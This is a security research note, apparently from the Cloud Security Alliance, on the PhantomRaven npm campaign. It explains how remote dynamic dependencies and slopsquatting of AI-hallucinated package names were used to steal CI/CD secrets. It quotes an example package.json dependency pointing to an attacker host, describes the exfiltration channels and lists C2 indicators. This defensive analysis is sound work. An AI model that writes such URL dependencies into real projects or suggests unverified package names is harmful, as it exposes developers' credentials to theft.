PhantomRaven npm Campaign: Developer Credential Theft at Scale

Four Attack Waves Use Remote Dynamic Dependencies and Slopsquatting to Harvest CI/CD Secrets

Unofficial AI-assisted Research

Cloud Security Alliance AI Safety Initiative

2026-03-12

Key Takeaways

The PhantomRaven campaign has deployed more than 200 malicious npm packages across four documented attack waves spanning August 2025 through February 2026, collectively accumulating over 86,000 downloads before detection [1][2]. As of early March 2026, 81 packages remain available in the npm registry [2]. The campaign's distinguishing technical innovation is Remote Dynamic Dependencies (RDD): packages appear entirely benign — containing only trivial stub code and advertising zero dependencies — while their `package.json` files specify malicious payloads via HTTP URLs pointing to attacker-controlled AWS infrastructure, which npm fetches and executes automatically as a lifecycle hook during `npm install` [1][3]. A second technique, slopsquatting, exploits the tendency of AI coding assistants to hallucinate non-existent package names; attackers register those hallucinated names — mimicking Babel plugins, GraphQL Codegen packages, and ESLint configurations — thereby intercepting developers who act on AI-generated dependency recommendations [4][5].

The malware systematically exfiltrates npm authentication tokens, GitHub Actions secrets, GitLab CI credentials, Jenkins and CircleCI tokens, developer email addresses, and system fingerprints to attacker-controlled PHP endpoints via triple-redundant channels: HTTP GET, HTTP POST, and WebSocket fallback [1][3]. Despite operational changes across waves — rotating npm accounts, C2 domains, and PHP endpoints — the malware payload itself is nearly byte-for-byte identical across waves, with only the C2 URL changing, and all infrastructure consistently hosted on AWS EC2 instances registered under the identity "JPD" [2].

Organizations using npm in development or CI/CD pipelines should immediately audit recently installed packages against published PhantomRaven indicators of compromise, disable npm lifecycle scripts in CI environments where possible, and implement egress filtering that restricts build-time network connections to approved registries.

Background

The npm ecosystem serves as foundational infrastructure for JavaScript and Node.js development, hosting millions of packages that are downloaded billions of times per week. This scale and the ecosystem's culture of deep dependency composition make it an attractive target for supply chain adversaries, who can achieve broad reach by compromising a single widely-used package or by deploying strategically named packages that intercept unsuspecting developers. Previous campaigns — including the 2021 `ua-parser-js` compromise and the 2022 node-ipc sabotage incident — demonstrated the consequences of malicious code reaching developer machines and CI/CD pipelines at scale, though the node-ipc case was author-introduced sabotage rather than an external credential-theft campaign in the traditional sense. PhantomRaven represents a maturation of this threat, distinguished not by novel malware functionality but by a consistent multi-wave operational tempo that included account rotation, domain cycling, and selective payload delivery — evasion techniques that, to researchers' knowledge, have not been previously documented in npm supply chain campaigns.

The campaign was first documented publicly in late October 2025 by researchers at Koi Security, who identified the initial wave of 126 malicious packages and traced them to a common infrastructure pattern [11][3][6]. Subsequent analysis by Sonatype discovered 83 additional packages from the same campaign not included in the initial report, bringing the Wave 1 total to more than 200 packages [4]. In February 2026, Endor Labs published an analysis of three further attack waves that had been operating since November 2025, adding 88 packages distributed across 50 disposable npm accounts [2]. The continuity of operations across a six-month period, despite repeated public reporting and partial registry takedowns, distinguishes PhantomRaven from opportunistic one-off campaigns and suggests a threat actor with sustained intent and either the operational capacity to adapt to defensive measures or a pre-planned multi-wave deployment schedule.

The broader context in which PhantomRaven operates is one of heightened npm supply chain risk. The package registry serves not only human developers but also AI coding assistants — tools such as GitHub Copilot, Cursor, and Claude Code — that suggest dependencies during code generation. Research published in 2025 demonstrated that language models hallucinate non-existent package names at rates ranging from approximately 5% for commercial models to nearly 20% for open-source models, and that these hallucinations are repeatable: the same prompt will produce the same hallucinated package name in the majority of subsequent runs [12][4]. This creates a predictable attack surface that PhantomRaven explicitly exploits, placing malicious packages at names that AI tools reliably suggest but that have no legitimate occupant in the registry.

Security Analysis

Remote Dynamic Dependencies: Subverting npm's Dependency Model

The foundational evasion technique underlying PhantomRaven is the exploitation of a rarely-used npm feature: the ability to specify a dependency as an HTTP URL rather than a version range. Under standard npm behavior, when a `package.json` file lists a dependency as `"ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"`, npm resolves that dependency by fetching a tarball from the specified URL and unpacking it into `node_modules` – with no registry interaction and no integrity verification beyond what the attacker chooses to provide [3]. The malicious payload thus never appears in the published package itself. A security researcher inspecting the package on the npm registry sees only a benign stub; the zero-dependency claim is technically accurate at the registry level. The actual malware lives at the external URL, fetched at install time on the developer's machine or in the CI/CD runner.

This design has two significant consequences for detection. First, static analysis tools that inspect package contents by examining the npm registry – including many Software Composition Analysis (SCA) platforms – will evaluate only the benign stub and report no findings. Second, because the C2 server controls what payload is served in response to any given fetch, the operator can selectively serve malicious code to targeted IP ranges while serving the benign stub or an HTTP error to security researchers, automated scanners, and npm infrastructure review processes. Endor Labs confirmed this selective delivery behavior was used during the campaign, noting that C2 domains were observed serving different responses based on the requester's network identity [2].

The preinstall lifecycle hook that triggers the dependency fetch executes without any user acknowledgment as a standard part of `npm install`. Developers who follow best practices for reviewing package code before installation will find only the stub; there is no malicious code to review in the package itself. CI/CD pipelines running in automated environments will typically execute the hook and transmit credentials without generating alerts, unless egress filtering, DNS monitoring, or updated SCA tooling is in place.

Slopsquatting: Exploiting AI-Hallucinated Package Names

The second evasion and distribution technique, slopsquatting, operates at the social engineering layer rather than the technical layer. Security researchers coined the term in 2025 to describe supply chain attacks that specifically target package names hallucinated by large language models [4][5]. Because AI coding assistants produce the same hallucinated package names consistently across repeated queries –

a Babel plugin that does not exist in the registry will be suggested by a hallucinating model reliably enough that an attacker can register the name and wait for developers to install it — this attack surface is both predictable and persistent.

PhantomRaven's Wave 2 concentrated heavily on GraphQL Codegen naming patterns, targeting developers who type package names without the correct `@graphql-codegen/` scope prefix. Wave 3 shifted almost entirely to Babel plugin names that follow the `@babel/plugin-*` convention but do not correspond to any official Babel package [2]. Additional targets included ESLint presets, packages mimicking the output of real developer accounts (including Preact's core author and the Jam3 agency), and utility library names that plausibly match the kinds of helper dependencies AI tools recommend in code generation contexts. None of these names were typosquats in the traditional sense — they were not misspellings of real packages, but rather authentic-sounding names occupying the gap between what AI tools suggest and what actually exists in the registry.

The practical implication is that developers should not rely on AI coding assistants alone to provide verified, registry-confirmed dependency names without independent validation against the official registry. Any package name suggested by a language model that cannot be immediately confirmed against the official registry documentation should be treated as unverified until explicitly checked.

Campaign Infrastructure and Operational Evolution

The operational infrastructure underlying PhantomRaven is notably consistent despite the campaign's tactical flexibility. All four waves used AWS EC2 instances as C2 hosts, registered their domains through Amazon's domain registration service with identity protection enabled, and used AWS Route53 nameservers [2]. No wave deployed TLS certificates, meaning all credential exfiltration traversed plaintext HTTP. The domains uniformly contain the word "artifact" — a naming choice presumably intended to evoke legitimate artifact repository services — and the PHP exfiltration endpoints used a consistent author identifier, "JPD," present in the author field of all C2 tarballs.

The wave-by-wave progression reveals a deliberate operational tempo. Wave 1, running from August through October 2025, was the broadest in scope, with packages distributed across at least 14 npm accounts using a variety of email providers [3]. Following the public exposure of Wave 1, the operator adapted rather than ceased activity: Wave 2 began in November 2025, rotated to Outlook email addresses with a standardized naming pattern (`jpdnpmjpd01` through `jpdnpmjpd20`, `pluginjpd01` through `pluginjpd11`), and shifted the C2 endpoint from `jpd.php` to a new domain while retaining identical payload code [2]. Wave 3 registered a new domain on February 13, 2026, published 34 packages over four days, and then paused. Wave 4 appeared five days later, on February 18, with four additional packages published in a single day under a fourth C2 domain.

Endor Labs' payload analysis reveals the depth of the operator's confidence in their evasion approach: 257 of 259 lines of malware code were byte-for-byte identical across all observed waves [2]. The operator changed only the C2 URL, rotating npm accounts, email addresses, and domain names as the primary operational security measures. This suggests the campaign author assessed the RDD technique as sufficiently novel to remain undetected by the scanning mechanisms in place on npm and in most SCA tools, an assessment that proved largely correct for more than six months of active operation.

Targeted Credentials and Exfiltration Methodology

The malware's credential collection scope is calibrated to maximize value in the software development context. Upon execution during `npm install`, the payload collects developer email addresses from `.gitconfig`, `.npmrc`, environment variables, and the `package.json` author field [2]. It then enumerates up to 20 CI/CD environment variables specifically associated with the most common pipeline platforms: GitHub Actions tokens, GitLab CI credentials, Jenkins authentication credentials, and CircleCI tokens [1][2]. These are not generic environment variables — they are specifically named secrets that, if exfiltrated, grant direct write access to source code repositories, the ability to publish packages under the victim's npm account, and the ability to modify CI/CD pipeline definitions to introduce further malicious stages.

The exfiltration channel employs a triple-redundancy architecture that suggests operational experience with varied network environments. The primary path uses HTTP GET with URL-encoded data; if that fails, the malware falls back to HTTP POST with a JSON body; if network restrictions block both outbound HTTP methods, a WebSocket channel is attempted [3]. This design ensures that developers working behind corporate proxies or firewalls with limited HTTP method support are still likely to be exfiltrated. The use of a spoofed Windows Chrome User-Agent for all outbound requests reduces the likelihood of the exfiltration traffic being flagged by network monitoring tools that alert on anomalous process/user-agent combinations.

The consequence of successful exfiltration extends beyond the individual developer. An npm token with publish permissions allows the operator to push trojanized versions of any package the victim maintains, potentially propagating malicious code to every consumer of that package's downstream distribution chain. A GitHub Actions token with write permissions can modify workflow definitions, introducing malicious pipeline stages that would affect every subsequent build. The downstream blast radius of a single compromised developer's credentials in a widely-used package can significantly exceed the scope of the initial access, potentially affecting every downstream consumer of that package.

Recommendations

Immediate Actions

Security and engineering teams should cross-reference all recently installed npm packages against the published PhantomRaven indicators of compromise, specifically checking `node_modules` directories and `package-lock.json` files for entries with HTTP URL dependencies rather than version ranges. Any package whose `package.json` specifies a dependency as an HTTP URL pointing to external infrastructure should be treated as potentially malicious regardless of whether the domain matches the known PhantomRaven C2 list, since the operator has demonstrated willingness to rotate domains. The following C2 domains and associated IPs are confirmed PhantomRaven infrastructure and should be blocked at the network perimeter immediately: `packages.storeartifact.com`, `npm.jpartifacts.com` (100.26.42.247), `package.storeartifacts.com` (13.219.250.107), and `npm.artifactsnpm.com` (54.227.45.171) [2]. Organizations are advised to verify these IoCs against current threat intelligence feeds prior to blocking, as attacker infrastructure evolves rapidly.

Developers whose machines or CI/CD runners may have installed PhantomRaven packages should treat all npm tokens, GitHub Personal Access Tokens, GitLab CI credentials, Jenkins API tokens, and CircleCI secrets stored in their environment as potentially compromised and rotate them immediately. Organizations should audit npm publish logs for any unexpected package versions published under their accounts, and review GitHub Actions and other CI/CD pipeline histories for unauthorized workflow modifications.

Short-Term Mitigations

The npm CLI provides a configuration option that suppresses the execution of preinstall, install, and postinstall lifecycle scripts: `npm config set ignore-scripts true`. Applying this setting in all CI/CD pipeline environments is among the most operationally straightforward short-term mitigations, as it directly prevents the RDD mechanism from fetching and executing the remote payload during dependency installation [7]. The practical cost of this setting is that some packages with legitimate build-time compilation steps will require manual invocation; this is an acceptable operational trade-off in automated build environments where developer oversight is limited.

Package managers that support lockfile-pinned installs with integrity verification provide a structural defense against RDD attacks when used correctly. Running `npm ci` rather than `npm install` in CI/CD pipelines enforces strict adherence to the `package-lock.json` file, preventing *new* HTTP URL dependencies from being silently introduced after the lockfile is committed. However, `npm ci` does not protect a pipeline whose lockfile already contains RDD entries from a prior `npm install` – in that scenario, `npm ci` will faithfully resolve the locked HTTP URL dependency and execute the preinstall hook. The combination of `ignore-scripts true` and `npm ci` provides defense-in-depth, but lockfile auditing for HTTP URL entries remains necessary for pipelines that may have been exposed. Organizations should enforce lockfile-pinned installs across all automated build pipelines and treat any pull request that modifies `package-lock.json` as requiring elevated security review.

Egress filtering that restricts outbound network connections from build environments to a small allowlist of approved registries – the official npm registry, private artifact repositories, and explicitly approved external sources – will prevent malicious HTTP URL dependencies from resolving even if they are present in installed packages. Build environments should have no reason to initiate outbound connections to arbitrary external HTTP endpoints as part of normal dependency resolution.

Strategic Considerations

The slopsquatting attack surface is unlikely to diminish as AI coding assistant adoption increases and will likely expand as more developers rely on AI-generated dependency suggestions without independent verification. Organizations whose development workflows include AI-assisted dependency management should implement tooling that validates every dependency name suggested by an AI assistant against the npm registry and the organization's approved package list before that name is incorporated into a `package.json` file. This validation step should not be delegated to developer judgment alone – it should be enforced programmatically at the repository level through pre-commit hooks or CI gate checks that reject new dependencies not present on an approved list.

The persistence of PhantomRaven packages in the npm registry – 81 packages remaining available more than four months after initial public disclosure – reflects a structural limitation in the npm registry's response capacity for supply chain threats of this scale [2]. Organizations should evaluate private registry mirroring (using tools such as Verdaccio or Artifactory) that proxies only approved packages as a defense-in-depth measure, ensuring that developer and CI/CD installs can only resolve packages against a curated mirror rather than the full public registry. While this adds operational overhead, it eliminates the entire class of unknown-malicious-package risk and provides complete visibility into which packages are installed across the organization.

Software Composition Analysis platforms that do not currently analyze HTTP URL dependencies in `package.json` files represent a gap that procurement teams should raise directly with vendors. The RDD technique exploits a blind spot in static package analysis, and vendors who do not address this gap will continue to provide incomplete coverage against this and future campaigns that adopt the same approach.

CSA Resource Alignment

PhantomRaven maps directly to several CSA frameworks and guidance documents that provide organizational control structures for managing software supply chain risk.

The CSA *Securing the Software Supply Chain: Transparency in the Age of the Software Driven Society* publication identifies CI/CD pipeline compromise, dependency chain abuse, and malicious package injection as primary supply chain threat scenarios, and recommends Software Composition Analysis, artifact signing, and SBOM adoption as foundational countermeasures [8]. PhantomRaven's RDD technique exposes a gap in conventional SCA implementations that this guidance should be updated to address: the need for SCA tools to follow and analyze non-registry URL dependencies, not only registry-hosted package contents.

Within the CSA Cloud Controls Matrix (CCM), the relevant control domains include Application & Interface Security (AIS-04, requiring security testing of application external interfaces), Supply Chain Management, Transparency, and Accountability (STA-09 and STA-13, addressing third-party software component risk), and Identity & Access Management (IAM-02 and IAM-09, governing credential management and access revocation). The PhantomRaven credential exfiltration pattern — prioritizing CI/CD pipeline tokens that carry build and publish permissions — represents precisely the high-privilege secret exposure scenario that IAM controls are designed to constrain [9].

MAESTRO's threat taxonomy for agentic AI systems is relevant because AI coding assistants that suggest and install npm packages without human verification of each dependency name represent an agentic AI surface: the assistant takes autonomous action (dependency suggestion) whose consequences (package installation) occur downstream in a pipeline the developer may not fully inspect. Layer 5 (Tool and API Integration) and Layer 6 (Data Operations) of the MAESTRO framework both address the risks introduced when agentic systems interact with external package repositories and consume data from sources outside the verified trust boundary [10]. Slopsquatting is, at its core, an exploitation of the trust developers place in AI-generated recommendations — a trust relationship that MAESTRO's dependency chain analysis framework should explicitly model.

The CSA Zero Trust guidance applies at the CI/CD layer: pipelines operating on a least-privilege, assume-breach basis should hold short-lived credentials scoped to the minimum permissions required for each build stage, with no long-lived tokens stored as static environment variables accessible to every step in the pipeline. An organization that implements Zero Trust credential management in its build infrastructure reduces the value of any single credential exfiltrated by PhantomRaven from a potentially catastrophic supply chain access to a time-bounded, scope-limited token with limited blast radius.

References

[1] Protos Labs, "PhantomRaven: npm Supply Chain Malware Steals Secrets," protoslabs.io, November 2025. https://www.protoslabs.io/resources/deep-dive-phantomraven-attack-floods-npm-with-credential-stealing-packages

[2] Endor Labs, "The Return of PhantomRaven: Detecting Three New Waves of npm Supply Chain Attacks," endorlabs.com, February 2026. https://www.endorlabs.com/learn/return-of-phantomraven

[3] SecurityOnline, "PhantomRaven: 126 Malicious npm Packages Steal Developer Tokens and Secrets Using Hidden Dependencies," securityonline.info, October 2025. https://securityonline.info/phantomraven-126-malicious-npm-packages-steal-developer-tokens-and-secrets-using-hidden-dependencies/

[4] Sonatype, "PhantomRaven: npm Malware Evolves Again," sonatype.com, 2025. https://www.sonatype.com/blog/phantomraven-npm-malware

[5] Trend Micro, "Slopsquatting: When AI Agents Hallucinate Malicious Packages," trendmicro.com, 2025. https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/slopsquatting-when-ai-agents-hallucinate-malicious-packages

[6] The Hacker News, "PhantomRaven Malware Found in 126 npm Packages Stealing GitHub Tokens From Devs," thehackernews.com, October 30, 2025. https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html

[7] Bleeping Computer, "New PhantomRaven NPM attack wave steals dev data via 88 packages," bleepingcomputer.com, 2026. https://www.bleepingcomputer.com/news/security/new-phantomraven-npm-attack-wave-steals-dev-data-via-88-packages/

[8] Chris Hughes / Aquia Inc., "Securing the Software Supply Chain: Transparency in the Age of the Software Driven Society," Cloud Security Alliance, 2022.

[9] Cloud Security Alliance, "Cloud Controls Matrix v4.0," cloudsecurityalliance.org, 2021. https://cloudsecurityalliance.org/research/cloud-controls-matrix/

[10] Cloud Security Alliance AI Safety Initiative, "MAESTRO: Multi-Agent Environment, Security, Threat, and Risk Overview," cloudsecurityalliance.org, 2025. https://cloudsecurityalliance.org/research/working-groups/ai-technology-and-risk

[11] Koi Security, "PhantomRaven: npm Malware Hidden in Invisible Dependencies," koi.ai, October 29, 2025. https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies

[12] Spracklen et al., "We Have a Package for You! A Comprehensive Analysis of Package Hallucinations by Code Generating LLMs," arXiv preprint, 2025.

This research note was produced by the Cloud Security Alliance AI Safety Initiative. All indicators of compromise and technical claims are sourced from vendor and independent security researcher publications. Organizations are advised to verify IoCs against the most current threat intelligence feeds prior to blocking, as attacker infrastructure evolves rapidly. Point-in-time analysis as of 2026-03-12.